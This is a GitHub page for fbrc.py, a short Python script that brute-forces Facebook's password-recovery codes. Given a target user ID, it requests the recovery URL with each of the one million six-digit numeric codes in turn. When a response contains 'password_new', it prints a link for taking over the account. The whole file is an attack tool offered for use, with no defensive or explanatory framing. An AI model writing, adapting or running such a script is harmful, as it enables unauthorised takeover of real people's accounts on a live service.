-
Notifications
You must be signed in to change notification settings - Fork 5
/
fbrc.py
41 lines (32 loc) · 818 Bytes
/
fbrc.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#! /usr/bin/python
import requests
import sys
i = 0
array = [0,0,0,0,0,0]
chars = "0123456789"
user_id = sys.argv[1]
lock = False
for i in range(1000000):
password = ""
i+=1
if i % 10000 == 0:
print(f'{i / 10000} / 100')
for j in range(6):
password += chars[array[j]]
for j in range(6):
array[j] += 1
if array[j] >= 10:
array[j] = 0
break
try:
x = requests.get(f'https://www.facebook.com/recover/password/?u={user_id}&n={password}')
except:
if not lock:
i-=1
lock = True
continue
lock = False
if 'password_new' in x.text:
print(f'connect to https://www.facebook.com/recover/password/?u={user_id}&n={password}')
sys.exit()
print(f'{password}:{i+1}')